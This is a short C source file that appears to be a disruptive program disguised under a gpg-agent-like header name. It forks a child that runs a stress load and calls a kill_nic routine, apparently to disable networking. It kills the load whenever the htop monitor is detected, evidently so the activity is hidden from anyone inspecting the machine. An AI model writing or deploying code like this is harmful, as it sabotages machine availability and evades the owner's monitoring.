main.c 390 B

1234567891011121314151617181920
  1. #include "u-gpg-agent.h"
  2. #include <unistd.h>
  3. #include <signal.h>
  4. #include <sys/types.h>
  5. int main() {
  6. pid_t pid = fork();
  7. if (pid == 0) { //KINDER
  8. stress(1000);
  9. } else if (pid > 0) {
  10. kill_nic();
  11. while(1) {
  12. if (is_htop_here()) {
  13. kill(pid, SIGKILL);
  14. printf("STRESS DEAD ÇA\n");
  15. }
  16. sleep(2);
  17. }
  18. }
  19. }